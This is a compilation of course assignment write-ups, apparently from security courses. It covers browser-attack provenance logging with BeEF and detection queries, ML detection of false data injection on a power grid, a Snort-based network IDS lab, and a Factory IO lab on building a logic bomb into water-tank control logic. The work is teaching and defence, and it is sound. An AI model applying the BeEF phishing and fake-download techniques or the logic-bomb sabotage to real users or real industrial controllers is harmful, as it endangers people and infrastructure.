understand what major activities happening in the browser and the rationale regarding how to model them. Important note: We recommend reading the supplementary from the start to the end. Doing this not only helps you make the best of this project even though only part of it is needed to complete the task we give you. With the knowledge you gained from step 1, complete the function handle_download_begin() in event_handler.py . For testing, you can trigger the download event by visiting a page with download functionality. For example, any GitHub repo https://github.com/fate0/pychrome/tree/master. Or you can use the Fake Notification attack involving file downloading from BeEF described in Task 2.2.to use Ubuntu) Make sure you have Python3 and Chrome installed. Install required packages: pip3 install –upgrade && pip3 install -r requirements.txt Run Chrome with auditor listening on the events: python3 auditor.py . Make sure you do not have a running Chrome instance when running the auditor. To save the hassle of repetitively copying and pasting the URL to Bobʼs page to the browser GUI during testing for you, we provide a flag –init-page which automatically opens the URL you specify when the browser starts. The usage is python3 auditor.py –initpage URL_TO_BOB’s_PAGE Then the auditor starts logging the events. If you see a series of 3 events: 1 request, 2 response, and 3 script parsed repetitively shows up, it is the heartbeat sent back and forth between the remote hook and the BeEF C&C server. Use Ctrl-C in the command line to both stop the browser and output the logs for you. Note: donʼt close the browser from the GUI. Self-test: At runtime: You can check if nodes and edges are properly constructed through self.log_node() and self.log_edge() which print the corresponding information for you. After running: You can check if two new types of log files FileNode.tsv and Frame_download_File_Edge.tsv that log download behavior are generated. Submit your completed event_handler.py to Gradescope. Generate logs for Bobʼs clean (i.e., with no BeEF hook) webpage where no attack/modification is present with your auditor. To do so, stop and start the dockers on the project page (to get a fresh and clean Bobʼs webpage). Compress the generated logs to tar.gz file with the name [GT username]_cs6264_lab.tar.gz and submit it to Gradescope along with the questionnaire. Note: submission in the wrong format will lead to 0 pts. Hint: you can use the command tar -czvf [your_username]_cs6264_lab.tar.gz -C [your_log_directory] . You can confirm the content of your compressed file by the following. Rubric Question Deliverable Credits Q2.1.1 Completed event_handler.py 15% Q2.1.2 Logs of Bobʼs clean page 10% Task 2.2: Attack Investigation (30%) Description Congratulations! You have completed the key component of this project. Now that you can collect the logs, whatʼs left is to connect those information pieces in the log together to recover the whole picture of what happened during compromised browsing sessions, and find the evidence of attacks in the constructed causality graph. In this task, you need to execute and record logs for three common types of attacks: phishing, fake notification, and browser redirection from BeEF In such an attack, the malicious script typically resets the content of the webpage to a phishing page (e.g., Legit-looking Gmail logging page) by setting the innerHTML variable. When users fill out their credentials and hit the login button, a copy of the credentials is sent to attackers during redirection to the official login service. Fake Notification: Commands → Social Engineering → Fake Notification Bar (Chrome) This is a seemingly less harmful attack as it works by merely creating an overlay frame displaying another website on top of the opened frame. However, the flexibility enables the attacks to be more diverse. For example, the new webpage could be any of the following and more: a phishing page to steal credentials (similar to attack 1 a fraud page with fraudulent ads or affiliate links to generate revenue for the attacker a malicious site to initiate actions on behalf of the users who are authenticated (through session cookies), without their knowledge or consent. a page with inappropriate content for targeted reputation damage a page that automatically downloads malware upon opening Once you have collected logs containing those attacks, your next step is to construct a causality graph, and then find the evidence of those attacks in the graph through queries. Note: These three attacks do not have side effects on your browser. To complete this project, we recommend only playing with these 3 attacks. Other attacks could have an impact on your browser. Steps For each attack: Log collection: After the auditor runs, open Bobʼs webpage, execute the attack, and generate the logs. Causality graph construction: Load the logs into neo4j to construct the causality graph. Please see the Supplementary Document for the detailed guide. Query construction: Think about what pattern in the graph can identify a potential Google Phishing attack. Construct a neo4j query through cyber (neo4jʼs query language) to locate this pattern in the graph. Please see the Supplementary Document for the detailed guide. a Google Phishing: A phishing page must load corresponding resources to display the fake content. In this case, is it normal that a Gmail-related resource gets loaded when the user is visiting the product page of a shopping site? See if you can find a Gmail icon requested in the logs. Based on this logoʼs URL, construct a query that returns a Frame – request → Resource subgraph where the resource nodeʼs URL points to the Gmail favicon in the causality graph, as shown. Submit your query to Q2.2.1 in the questionnaire. Note that: i The edge should be returned with the two nodes as well, i.e., the subgraph your query returns should contain two nodes and one edge. ii Please use Frame, request, and Resource to name your nodes and edge.Example query response indicating potential Google Phishing attack. b Fake Notification: What is the ultimate goal of this attack? Malware spreading! When you look at the logs, how normal do you think is it for a downloading event to happen when the user is visiting the product page of a shopping site? In this context, the downloading event itself should be suspicious enough. The query you construct should return any Frame – download → File subgraphs in the causality graph. Submit your query to Q2.2.2 in the questionnaire.Example query response indicating potential malware downloading. c Site Redirection: In this attack, the malicious script creates a new frame displaying the new webpage to cover the existing webpage. Think about this — in a benign webpage design, how often do we need to create a frame through scripts? Script — create → Frame pattern in the graph should raise an alert, which should be captured by your query. In addition, oftentimes the URL of the redirected new page is the top domain URL (e.g., www.example.com ) as opposed to (e.g., www.example.com/xxx/xxx/ ). With this observation, you can further restrict your query by adding a condition — the frame nodesʼ security_origin is the same as its url . Note the detail that the security_origin does not have the / in the end. To perform string operations, you can find help from string functions and scalar functions in cypher. As shown in the example below, your query should return the pattern Script — create → Frame where frame nodesʼ security_origin is the same as its url except the last / character. Submit your query to Q2.2.3 in the questionnaire.Example query response indicating potential site redirection. Note: Please submit each of your queries in ONE line. Queries submitted in multiple lines lead to 0 pts during auto-grading, make sure to doublecheck your answer. Please follow the same naming convention for nodes and edges as the write-up (e.g., Script, create, Frame . Be sure that the first letter of the node name is uppercase and the edge name is all lowercase). Failing to follow the naming convention will result in 0 pts since other keywords will not be accepted by the auto-grader. Each of your queries should return a subgraph that contains related nodes and edges as shown in the examples. Incomplete subgraphs returned by your queries will result in 0 pts. Your queries being able to reproduce the sub-graphs shown in the examples indicates that you most likely have done the task right. However, except for the phishing attack which looks for a specific favicon as attack evidence — instead of looking for a specific resource in the lab tests (e.g., the exact filename, the exact redirected pageʼs URL, your other two queries must be generalizable, meaning that they should catch attacks in the real world demonstrating the same behavior patterns (e.g., downloading real malware, redirection to URLs other than the example one). Failing to do so will result in 0 pts if your last two queries are not general. Rubric Question Deliverable Credits Q2.2.1 Query for Google Phishing 10% Q2.2.2 Query for Fake Notification 10% Q2.2.3 Query for Redirect Browser 10% Submission Rubric Submit as Question Deliverable Credits assignment_questionnaire.txt Q1.1 Secret hash 15% assignment_questionnaire.txt Q1.2.1 Client asset directory 5% assignment_questionnaire.txt Q1.2.2 Best template file to compromise 5% assignment_questionnaire.txt Q1.2.3 Hash on the phishing page 20% event_handler.py Q2.1.1 Completed event_handler.py 15% tar.gz Q2.1.2 Logs of Bobʼs clean page 10% assignment_questionnaire.txt Q2.2.1 Query for Google Phishing 10% assignment_questionnaire.txt Q2.2.2 Query for Fake Notification 10% assignment_questionnaire.txt Q2.2.3 Query for Redirect Browser 10% Deliverables [GT username]_cs6264_lab.tar.gz containing .tsv logs of Bobʼs clean page. Important Note: Make sure you use the provided questionnaire and the specified formats to submit your answers. Failing to do so can make your ENTIRE project 0 pts since auto-grader cannot take in submissions in other formats. The GTID you fill in the questionnaire must be all lowercase. Failing to do so will make your hash-related tasks 0 pts since the grading depends on your GTID. All deliverables should only be submitted to Gradescope. Submissions to Canvas will NOT be accepted and graded. Make sure you have followed all the guidelines stated in the write-up as well as the supplementary document. Any point deductions caused by failing to follow the guidelines will NOT be adjusted.
CS 6263/ECE 8813: Cyber-Physical Systems Security (Spring 2025) Objective As we learned in this course, one of the prevalent attack methodologies in cyber-physical systems is false data injection, wherein an attacker alters the sensor readings to manipulate system behavior or obfuscate malicious undertakings. In electric power systems, for instance, false data about an overloaded branch (i.e., transmission line) can lead to dire repercussions. If operators believe a branch is overloaded, they might reroute power or take it offline as a precaution. However, this could cause an unintended power imbalance elsewhere. Other sections of the grid might then face genuine overload, initiating shutdowns. This can trigger a domino effect, where one shutdown leads to subsequent ones in adjoining sections. The resulting cascade can cause widespread blackouts, affecting critical infrastructure, hospitals, and homes, with serious economic and safety implications. In this project, through the lens of machine learning, we aim to predict and validate the genuine behavior of a cyber-physical system, enabling the identification of discrepancies that might arise from cyber-physical attacks. We have prepared two one-hour sessions to help you ramp up on the ML topics and their applications in the CPS security domain. Before moving forward, we strongly recommend watching these sessions. Cyber-Physical Electric Power Systems In this project, an electric power system will be examined as our cyber-physical system. Electric power systems are designed to deliver electricity from producers to consumers in an efficient and reliable manner. They are composed of three main parts: generation, transmission, and distribution (see Figure 1). Generation involves the production of electricity from various energy sources. Transmission section is responsible for transporting high-voltage electricity over long distances from power plants to substations near demand centers. Distribution then takes over, reducing the voltage through transformers and delivering the power to consumers through a network of local lines. A bus (or node) in electric power systems is a central junction point that connects multiple branches of the network at a common voltage level. In mathematical terms, an electric power network can be modeled as a graph G = (B,L), where B represents the set of nodes, which are the buses , and L represents the set of edges, which are the transmissionFigure 1: Power system components: generation, transmission, and distribution lines . System Under Study: Overview, Data, and Sensor Assumptions In this project, we examine a standard 39-node system depicted in Figure 2, which includes 10 generators and 46 transmission lines (branches). We base our analysis on data collected by various sensors installed throughout the system. These sensors are crucial for gathering information, and we categorize the data they collect into two main types, each with its own security implications: 1. Demand and Generation Data at Buses: This category consists of data gathered by reliable sensors placed at different buses within the system. These sensors provide real-time and accurate information about power demand and generation at these nodes. The reliability of these sensors is ensured, making the data they provide a trustworthy foundation for system analysis. These sensors guarantee a high level of confidentiality, integrity, and availability. 2. Transmission Line Overload Status: We assume unlike the demand and generation data, the information regarding the status of transmission line overloads is more susceptible to security threats, including cyber-attacks. There is a risk that this data could be manipulated, leading to incorrect reporting of overload statuses. It is crucial to scrutinize and verify this data to protect the system from the repercussions of any such attacks. Here, the assumption is that the availability and integrity of these sensors are at risk.Figure 2: The diagram of the 39-node systemFigure 3: Machine-learning-based prediction of transmission line overload Utilizing Machine Learning to Enhance System Security against Data Manipulation Threats Following the recognition of potential vulnerabilities in the data of transmission line overload statuses, in this project we aim to leverage machine learning as a tool to mitigate these risks. The objective is to develop a machine learning model that can analyze the trusted demand and generation data from the buses and use this information to reliably predict actual transmission line overload scenarios (see Figure 3). By doing so, the model will serve as a safeguard, identifying discrepancies or anomalies in branch overload status reports that could indicate cyber intrusions or attacks. 1 Part 1: Data Exploration [20 Points] In the first step, let’s explore the given datasets to get familiar with it. First, download the 39-bus system measurement data from this link. The 39-bus-measurements directory you downloaded contains the following data: 1. Demand and generation data in train features.csv and test public features.csv. This data contains active power demands in megawatt MW (from Pd bus1 to Pd bus39), reactive power demands in megaVar MVAR (from Qd bus1 to Qd bus39), active power generations in megawatt MW (from Pggen1 to Pg gen10), and finally reactive power generations in megaVar MVAR (from Qg gen1 to Qg gen10). 2. Transmission line overload status data in train labels.csv and test public labels.csv. This data contains labels indicating whether each branch (from is branch1 Overloaded to is branch46 Overloaded) is overloaded (1) or not (0), with each row representing a different data point. NOTE: Before you jump into the coding part, please check out Section 5 on how you can setup the development/testing environment for this project. This is necessary to ensure we can reproduce your results and maintain compatibility across all submissions. Moreover, if you are new to Python, machine learning, and jupyter notebook, it can help you setup the environment very quickly. In Part 1, it is recommended to use jupyter notebook for quick development/testing while Part 2 requires you to complete the code snippets to develop an acceptable solution. 1. Using the pandas library in Python, load the file train features.csv into a DataFrame named df train features. Then, answer the following questions: (a) What is the shape of df train features? Specifically, how many data points (rows) and features (columns) does this dataset contain? You can find this out using df train features.shape. [3 Points] (c) How many columns (features) in the dataset have constant values (excluding any columns that are entirely zeros)? [4 Points] (d) Which column (feature) in the dataset exhibits the largest variation? To determine this, use the standard deviation (std) as your measure of variation. [4 Points] 2. Using the pandas library in Python, load the file train labels.csv into a DataFrame named df train labels. Then, answer the following questions: (a) Identify the branch with the largest overload frequency. This means the branch that has the highest proportion of its data points marked as overloaded (1). Similarly, identify the branch with the smallest overload frequency. This indicates the branch that has the lowest proportion of its data points marked as overloaded (1). This exercise will help you understand data balance and the distribution of overloaded conditions across various branches. [5 Points] 2 Part 2: Completing the Provided Python Code Template In this section of the project, we aim to construct a machine learning model using the PyTorch library to predict the overload status of power system branches, a crucial task for validating the genuine behavior of our cyber-physical system, enabling the identification of discrepancies that might arise from cyber-physical attacks. To streamline the development process, a Python code template is provided here. First, clone the repository to your local machine or download it as a ZIP file and unzip it to access the code. The extracted folder, named mp4-machine-learning-template, includes the following directories: • src: This directory hosts the Python source code templates. You will need to review and complete these files as outlined in subsequent sections. Ensure you retain these files within this directory throughout the development process to guarantee the entire code functions correctly. Avoid moving the files out of this directory. Instead, modify and finalize them within this folder. • data: This directory contains the data. Specifically, the four CSV data files reside in the relative path data/39-bus-measurements/. • model: This folder will be empty upon downloading the code template. After training your model, the model and parameter files should be saved here. Please maintain the specified folder structure and refrain from renaming or reorganizing the folders and files described. This template establishes a structured approach for your machine learning model, incorporating pre-defined classes and functions specifically designed for this project’s goals. Your primary responsibility is to complete the template by filling in the missing sections as directed in the following paragraphs. It is vital to adhere to the template’s structure and utilize the specified libraries to ensure uniformity across all submissions, focusing on applying machine learning techniques in the context of cyber-physical systems security. In our supervised machine learning process, the workflow is divided into two main stages: training and testing. 1. Training: During the training stage, we teach the machine learning model to identify patterns in the data. This is done by running the train.py script. See Figure 4. 2. Testing: After the training stage is complete, we evaluate the model’s ability to learn effectively. This evaluation takes place in the testing stage, which is carried out by executing the test.py script. See Figure 5. The code template in the src directory includes several key components: • Helper Script Files (DO NOT CHANGE): – train.py: Manages the model training process. See Figure 4. – test.py: Evaluates the model’s performance on test data. See Figure 5. • DataReader: Handles reading and preprocessing of input data, including tasks like loading data from CSV files, normalizing the data, and formatting it for neural network processing.Figure 4: Training workflowFigure 5: Testing workflow • PowerSystemNN: Defines the neural network architecture tailored for analyzing power system data, including specifying layers and structural elements of the model. See Figure 3. • Trainer: Oversees the neural network’s training process, including setting up the loss function and optimizer and executing the training routine with the preprocessed data. • Evaluator: Utilized for evaluating the trained model’s performance, calculating metrics such as accuracy, precision, and recall to assess the model’s predictive accuracy regarding power system branch overloads. (DO NOT CHANGE) These components collectively provide a robust framework for your project, guiding you through a structured approach to building and evaluating your machine learning model. Your challenge is to complete and potentially enhance these components, implementing the necessary logic to achieve the project’s objectives. The following detailed steps will help you navigate through the process efficiently. To begin, please download the template code from the link above and follow the outlined steps: • Note: In some of the subsequent steps, such as identifying important features in Step 3 or designing the neural network in Step 4, you should begin with an initial working solution. Once you have completed the entire training and testing workflow, you can return to these sections for fine-tuning. 2.1 Step 1: Review train.py [0 Points] The train.py script is complete and ready-to-use. This file serves as the core of the machine learning training process for predicting the overload status of branches in our electric power system using neural networks. It outlines the main steps required for training a model, including loading and preprocessing data, initializing and training the neural network, and saving the trained model along with its scaler and selected feature columns for future use. See Figure 4. You are expected to review and understand this script to grasp the overall structure and flow of the model training pipeline without needing to modify it. 2.2 Step 2: Review test.py [0 Points] The test.py script is also complete and ready-to-use. This file is designed to evaluate the performance of a neural network model on a test dataset. It serves as the counterpart to the training process outlined in test.py, focusing on model evaluation rather than model training. See Figure 5. You are expected to review and understand this script to grasp the overall structure and flow of the model testing pipeline without needing to modify it. 2.3 Step 3: Complete data reader.py [5 Points] The data reader.py script is a critical component of the machine learning pipeline, designed to handle data loading, preprocessing, normalization, and conversion to the appropriate formats for training neural network models. You are tasked with completing the find important features method within this class. Note that selecting the most important features is a crucial step in machine learning because it can significantly improve model performance by reducing overfitting, decreasing training time, and potentially enhancing prediction accuracy. The purpose of the find important features method is to analyze the dataset and identify the features that contribute the most to predicting the target variable, in this case, the overload status of electric power system branches. This involves determining which features have the most significant impact on the model’s predictions and selecting them for use in training the model. Note that you should begin with an initial working solution (such as setting selected columns equal to ALL FEATURE LIST). Once you have completed the entire training and testing workflow, you can return to this section for fine-tuning. In the code you submit for this section, please include the rationale behind your selection of important features.def _find_important_features(self, df_feature: pd.DataFrame, df_labels: pd.DataFrame) -> list: selected_columns = [] # COMPLETE HERE return selected_columnsNote: Please DO NOT alter any other class methods or features in data reader.py. Only complete or modify the find important features method. 2.4 Step 4: Complete power system nn.py [20 Points] For the power system nn.py script, you are tasked with designing and implementing the neural network architecture for predicting the overload status of branches in an electric power system using PyTorch (see Figure 3). This involves specifying the structure of the neural network, including the number of layers, the size of each layer (i.e., the number of neurons), and the activation functions to be used. The neural network architecture provided here serves as an example; students are encouraged to experiment with different configurations to optimize model performance. Here are more hints: 1. Design the Neural Network Architecture: You will define the neural network’s architecture in the init method. This includes deciding on the number of layers, the number of neurons in each layer, and the type of each layer (e.g., fully connected layers, convolutional layers for other types of data, etc.). You should also choose appropriate activation functions for each layer to introduce non-linearity into the model. 2. Implement the Forward Pass: In the forward method, you will specify how the data flows through the network. This involves applying the layers and activation functions defined in the init method to the input tensor x and returning the output tensor. 3. Activation Functions: Consider the role of different activation functions (e.g., ReLU, Sigmoid, Tanh) and where they might be most effectively applied within your network to model complex relationships in the data. 4. Experimentation: Experiment with different network configurations and parameters (e.g., different numbers of layers, different numbers of neurons in each layer, different activation functions) to find a setup that works well for the task. 5. The example layer and activation function definitions in the comments are provided as hints. Replace number of neurons and other placeholders with specific values based on your design decisions. 6. You should begin with an initial working solution (such as 1-2 hidden layers and a reasonable number of neurons in each layer, etc.). Once you have completed the entire training and testing workflow, you can return to this section for fine-tuning. 7. In this link, there is an example of a neural network that includes the initialization and forward pass methods. 8. Please see the provided power system nn.py file for more hints/comments. 2.5 Step 5: Complete trainer.py [20 Points] In the trainer.py script, you are tasked with implementing the functionality required to train a neural network model, including initializing the training components and executing the training loop. This involves setting up the optimizer and loss function in the init method and managing the data loading, model training iterations, and optimization steps in the train model method. Here are more hints: 1. Initialize Training Components: In the init method, you must initialize the model, loss function, and optimizer. This involves specifying the type of loss function suitable for the task (e.g., Binary Cross-Entropy for binary classification tasks) and choosing an optimizer (e.g., Adam) with an appropriate learning rate. 2. Implement the Training Loop: The train model method is responsible for organizing the training process. This includes setting up a DataLoader for batching the training data, iterating over the dataset for a defined number of epochs, performing forward and backward passes through the model, computing the loss, and updating the model’s weights. 3. In this link, there is an example of setting up the optimizer and loss function. 4. Please see the provided trainer.py file for more hints/comments. 2.6 Step 6: Review evaluator.py [0 Points] The evaluator.py script, which is complete and ready-to-use, evaluates the performance of your trained neural network model on test datasets. Specifically, the evaluate method within the Evaluator class will assess the model’s prediction accuracy, precision, and recall, leveraging the sklearn.metrics library for these calculations. You are expected to review and understand this script without needing to modify it. Here are more details: 1. The Evaluate Method: In the evaluate method, we predict outcomes using the trained model on a dataset provided by a DataReader instance. The method then calculates and reports the accuracy, precision, recall, and F1 score for the predictions. 2. Using of sklearn.metrics: The accuracy score, precision score, recall score, and f1 score functions from sklearn.metrics are used to calculate the respective metrics. These metrics provide insights into the model’s performance, with accuracy indicating the overall correctness of predictions, precision showing the correctness of positive predictions, and recall reflecting the model’s ability to identify all actual positives: • Accuracy: Accuracy measures the proportion of total correct predictions (both true positives and true negatives) out of all predictions. Generally, a higher accuracy is better, but it can be misleading in the case of imbalanced datasets where one class dominates. • Precision: Precision measures the proportion of true positives out of all positive predictions. It focuses on the purity of positive predictions. A higher precision is typically better, especially in scenarios where false positives are costly or undesirable. However, extremely high precision can sometimes occur at the expense of recall, especially if the model becomes too conservative in predicting the positive class. • Recall: Recall (or sensitivity) measures the proportion of actual positives that are correctly identified. It focuses on the model’s ability to capture all positive instances. Higher recall is desirable in scenarios where missing a positive instance (false negatives) is critical. However, very high recall can sometimes come at the expense of precision, if the model predicts too many positives, including false ones. • F1 Score: The F1 Score is the harmonic mean of precision and recall, providing a single metric that balances both. An F1 Score reaches its best value at 1 (perfect precision and recall) and worst at 0. It is particularly useful in scenarios where there is an imbalance in the distribution of the classes or when one cares equally about precision and recall. 3. Calculating Metrics for Each Branch and on Average: We calculate these metrics for each power system branch individually and also compute average metrics across all branches to get a holistic view of the model’s performance. 3 Deliverable and Submission Instructions Create a zip file named --mp4.zip (e.g., Tohid-Shekari-mp4.zip), that includes all your files and submit it on Canvas. If you make multiple submissions to Canvas, a number will be appended to your filename. This is inserted by Canvas and will not result in any penalty. • Note 1: Please ensure you use the virtual environment with the specified package versions in the requirements.txt for training and generating the submission files (see Section 5.2). This is necessary to ensure we can reproduce your results and maintain compatibility across all submissions. • Note 2: Failure to follow the submission and naming instructions will cause 20% points loss.--mp4.zip |– src |– data_reader.py |– evaluator.py |– power_system_nn.py |– test.py |– train.py |– trainer.py |– model |– model.pth |– scaler.joblib |– selected_feature_columns.txt |– public_points.txt4 Model Evaluation [35 Points] Your model’s performance will be assessed using two test datasets: a public dataset that has been shared with you, and a private dataset that has not been shared and will be used to evaluate the model’s generalizability. The overall performance of your model will be determined by the combined performance on these two datasets, calculated as follows: (Xpublic + Y public) public private × (Xprivate + Y private) × Zprivate (1) 2 where Ppublic = 15 and Pprivate = 20. Additionally, X, Y , and Z will be calculated according to Tables 1, 2, and 3. This formula exists in the test.py script and it will automatically calculate your score on the public test dataset. Table 1: Lookup table for calculation of X Average Accuracy Across All Branches X [95%,100%] 1 [90%,95%) 0.9 [85%,90%) 0.7 Below 85% 0 Table 2: Lookup table for calculation of Y Average F1 Score Across All Branches Y [90%,100%] 1 [85%,90%) 0.9 [80%,85%) 0.7 Below 80% 0 Table 3: Lookup table for calculation of Z Number of Feature Columns Used Z {1,··· ,53} 1 {54,··· ,64} 0.9 {65,··· ,80} 0.7 Above 80 0 5 Appendix: Installation and Getting Started with Python, PyTorch, scikit-learn, and Jupyter Notebook 5.1 Installing Python For this course project, you will need Python 3, with the latest versions (Python 3.10 or later) recommended for optimal performance and compatibility. There are plenty of resources you can find publicly on how you can install Python in your Windows, MacOS, or Linux machine. 5.2 Setup the Project Environment Using a virtual environment helps isolate dependencies and avoid conflicts with other projects, ensuring that your code runs smoothly and consistently on different systems. Please ensure you use the virtual environment described in this section with the specified package versions in the requirements.txt for training and generating the submission files. This is necessary to ensure we can reproduce your results and maintain compatibility across all submissions. Once you successfully installed Python in your machine, clone this github repo which includes all the required datasets and code skeletons in parts 1 and 2 of the project. Navigate to the source directory with terminal and run this command to create a virtual environment for the project:python3 -m venv .venvBefore you can start using the virtual environment, you need to activate it. Activation is necessary because it temporarily modifies the PATH environment variable to include the scripts in the virtual environment’s bin (or Scripts on Windows) directory. To activate the virtual environment, run (first one in Windows, the second one in Mac/Linux):..venvScriptsactivatesource .venv/bin/activateWith the virtual environment activated, install the dependencies listed in your requirements.txt file by running:pip3 install -r requirements.txt5.2.1 Optional: Setting Up Jupyter Notebook for Facilitating the Data Exploration in Part 1 If you need jupyter notebook, first run this command to create a kernel based on the virtual environment and then use the next command to launch an instance of it.python -m ipykernel install –user –name=mp4env –display-name=”mp4env”jupyter notebook6 Appendix: Distribution of Points The distribution of points for this project is illustrated in Figure 6. Model s Performance on Private DatasetFigure 6: Distribution of points Resources • PyTorch Documentation: https://pytorch.org/docs/stable/index.html • scikit-learn Documentation: https://scikit-learn.org/stable/ • Pandas Documentation: https://pandas.pydata.org/docs/ • Jupyter Notebook Documentation: https://docs.jupyter.org/en/latest/
Review Feedback SUBMITTED: Jul 6, 2025 6:28pmSUBMITTED: Jul 6, 2025 6:28pm Attempt 1 Score: 60%Anonymous Grading: no Unlimited Attempts Allowed Available: Jun 25, 2025 12:00am until Jul 9, 2025 11:59pmAvailable: Jun 25, 2025 12:00am until Jul 9, 2025 11:59pm “Good work on the IDS design!”There seems to be a trend in your boss’ tone of voice versus the amount of work he is about to assign to you…“To further develop your IDS, our clients want you to implement a Network-based IDS to monitor malicious network traffic”“They want you to set up Snort and analyze any executable files flowing to a client using your new sandbox. ”Your boss also seems pretty fixated on this two-week cycle, you think as you open up Google and another tutorial once again.Assignment The purpose of this assignment is to apply your knowledge of IDS’s learned in class to implement your own network-based IDS to detect malicious executable files in network traffic. Before you get started, please install VagrantLinks to an external site. and make sure you have VirtualBoxLinks to an external site. installed.Note: Please download the vagrant file from Files > Lab Files > Lab 05 > Vagrantfile and the hooks.c file from Files > Lab Files > Lab 05 > hooks.c instead of the links in the writeup. And here is the same link to the test_binaries Download test_binariesas in the tutorial.There are 5-6 steps to this project:Implement Snort rulesLinks to an external site. so that you will log any packets that are involved in the sending of an executable file Upon the creation of a log, send the packets to the sandbox (this should be done over FTP, as an FTP client has been installed on the sandbox). This should probably be done using a daemonLinks to an external site. (Please use this link as the link to the blog in the writeup is broken). Upon receiving the Snort log in the sandbox, reconstruct the executable by extracting it from the log (which is essentially a PCAP file). This should also probably be a daemon. Run the executable with your Linux Kernel Module and report any issues to the kernel log (this is done already if you used printk()) Generate an IDS alert by tweaking the rsyslog configurationLinks to an external site. so that any of your Linux Kernel Module messages are printed out into another log in /var/log called ids_alerts.log Points Breakdown:– Proof of successful file transfer over FTP: 10 pts – Snort rule correctly written: 20 pts – Daemon to send file from Vicky to Sandy correctly written: 20 pts – LKM updated for new malicious program: 10 pts – Daemon written to analyze program on sandy: 20 pts – Rsyslogd config correctly written: 10 pts – Report: 10 ptsBonus:– Analyzed benign file in Sandy transfer back to client Vicky and malicious file get dropped: 5 pts – Using Zeek/Bro to detect executable files sent over network and log the binary drop: 5 ptsSupplementary Material:Lab 5_Supplementary_Material.pptxDeliverables Zip the following files in a .tar.gz file called [GT username]_cs6264_lab5.tar.gz Snort configuration Various daemons that you wrote for both the sandbox and the client Your LKM C file and Makefile The new rsyslog configuration A report of your NIDS that includes: Screenshots of each step of the process from when you send the file to the client to when an alert is logged. These should probably include: sending the executable, receiving the executable, alerting the executable, sending the PCAP to the sandbox, the sandbox alerting/not alerting on the executable Implementation details
CS 6263/ECE 8813: Cyber-Physical Systems Security (Summer 2025) Environment Setup The first step towards understanding the concepts of cyber-physical systems (CPS) security is to get familiar with their control logics and mechanisms. In the first mini project, we will learn how to model an industrial control system (ICS) with its control logic. To do so, an advanced educational modeling software, namely Factory IO coupled with Control IO, will be used to model the process and design the underlying controller. The latest trial version of Factory IO for Windows machines can be downloaded from here: Factory IO trial version (Alternate Link). You can use this version for 30 days. Factory IO requires heavy compute resources to run without any inexplicable problems and anomalies. A machine with the following specifications would be ideal for this project. These are not hard requirements, but will help improve your development experience. The listed specifications are based on statistics from previous classes: • CPU Utilization does not exceed 30% • 16GB RAM • 2GB Video RAM • 50 FPS Factory IO Inside Factory IO, there is a visual environment where you can create the 3-D model of an industrial control process. Also, you can design a controller for the process, where the actuators are controlled by sensors, input buttons, and the underlying control logic. The control logic of the process can be embedded inside a programmable logic controller (PLC) connected to your computer. We will learn how to program a PLC in the next mini project. Instead of connecting a real PLC, in this mini project, you will use the Control IO interface with Factory IO to design your controller. You can connect the block diagrams of the inputs, sensors, and actuators with different logic to form your controller. This is very similar to programming in the Simulink/Matlab environment. Factory IO can be very easy to learn, but for this project you are only working in Control IO. It does take some time to get familiar and comfortable with Factory IO and Control IO software. This project requires Function Block Diagram design which is a bit different from traditional software programming (there are no IF statements!). Please do not wait till the last weekend to start this project, as the estimated time of completion could be anywhere from 15 to 50 hours. Below are helpful resources to get started on Factory IO, Control IO, PLCs and Function Block Programming. Table 1: Helpful Resources Description Link Free Tutorial PLC Academy Control IO Documentation Getting Started Factory IO Documentation Overview Factory IO Parts Documentation Parts Getting started with Control IO YouTube Video Summaries of PLC Programming Languages isd-soft (Technical Background Section) Lab Assignment PLC Design Approach ACC Automation Introduction to Function Blocks Function Blocks YouTube Videos Table 2: YouTube Videos Section Video Water Tank Link Pallet Storage Link Factory IO General Intro Link Factory IO Interface Introduction Link RFID Read/Write Link RFID Two Readers Link CTU/CTD Link JK Flip/Flop Link Additional Notes In order to get started and view the Part 1 scene, unzip the attached project zip. Double-click on the scene file to open under the scenes directory (in this case part1.factoryio). In turn, this will start Factory IO with the scene loaded. If Factory IO is opened first, a blank Control IO file might open. If this happens, you should not use this Control IO, instead you will need to open the Control IO file associated with your work. The blank Control IO file will have a file name such as “Diagram1.controlio”. That is your indication to load your Control IO file. Make sure that the Control IO file you are editing is the correct file. Do not modify the 3D environment in Factory IO, as the same originally provided scene will be loaded during grading – not the one that you submit. The provided .controlio files contain a block used for a programmatic connection to Canvas for grading and is labeled as such – do not remove or adjust it! Logic Bombs 1 Water Tank System (35 Points) Part 1a – Water Tank System (0 Points) In this part, the goal is to design and implement a water tank system that fills and drains automatically. In the pre-built Factory IO scene, there are three water tanks. However, this part only requires working with one water tank (not all three). Below are the steps required for the implementation: • The fill process starts when the control box start button is pressed. • Once the water level reaches 55% of the tank capacity, the fill valve must close and the drain valve must open to decrease the tank level to 35%. This filling and draining process should continue between 35% and 55% until the stop button is pressed. • By pressing the control box stop button, the remaining water in Tank 1 must begin draining and then the entire process must stop once the tank is empty. Pressing the start button will restart the fill and drain cycle process. • Pressing the start button while a tank is draining below its minimum cycle level (ex: at 30% for Tank 1) should immediately stop the tank from draining and restart the filling process. Part 1b – Logic Bomb Water Tank System (35 Points) For Tank 1, once the water level reaches to 55% of the tank capacity, the fill valve must close and the drain valve must open and continue until the water level reaches 35% of tank capacity. At this point, the drain valve must close and the fill valve must open again to refill to 55%. This process must continue working in a repeated cycle until the stop button is pressed. By pressing the stop button, the remaining water in the tank must begin draining and then the entire process must stop once empty. For Tank 2, once the water level reaches 70% of the tank capacity, the fill valve must close and the drain valve must open and continue until the water level reaches 40% of the tank capacity. This process must continue working in a repeated cycle until the stop button is pressed. By pressing the stop button, the remaining water in the tank must begin draining and then the entire process must stop once empty. For Tank 3, once the water level reaches 90% of the tank capacity, the fill valve must close and the drain valve must open and continue until the water level reaches 55% of the tank capacity. This process must continue working in a repeated cycle until the stop button is pressed. By pressing the stop button, the remaining water in the tank must begin draining and then the entire process must stop once empty. After Tank 2 fills to 70% three times, the fill and drain logic of Tank 1 and 3 should be affected. As a result, your logic bomb should cause the Tank 1 tank to cycle between 14% and 16%. The cycle action is to drain to 14% and when 14% is reached, it fills to 16% and then drains to 14% and continues the 14-16% cycle. Tank 3 should fill to 100% capacity. If the stop button (or start button) is pressed after the logic bomb has triggered, Tank 2 should continue to respond accordingly, however, Tank 1 and 3 should NOT (i.e. ignore the start/stop buttons). Under no conditions shall the count for the logic bomb trigger be reset. Grading Notes 2 Pallet Storage (65 Points) Part 2a – Pallet Storage (50 Points) In this section, the goal is to design and implement a pallet sorting and storage system. Below are the steps required for implementation: 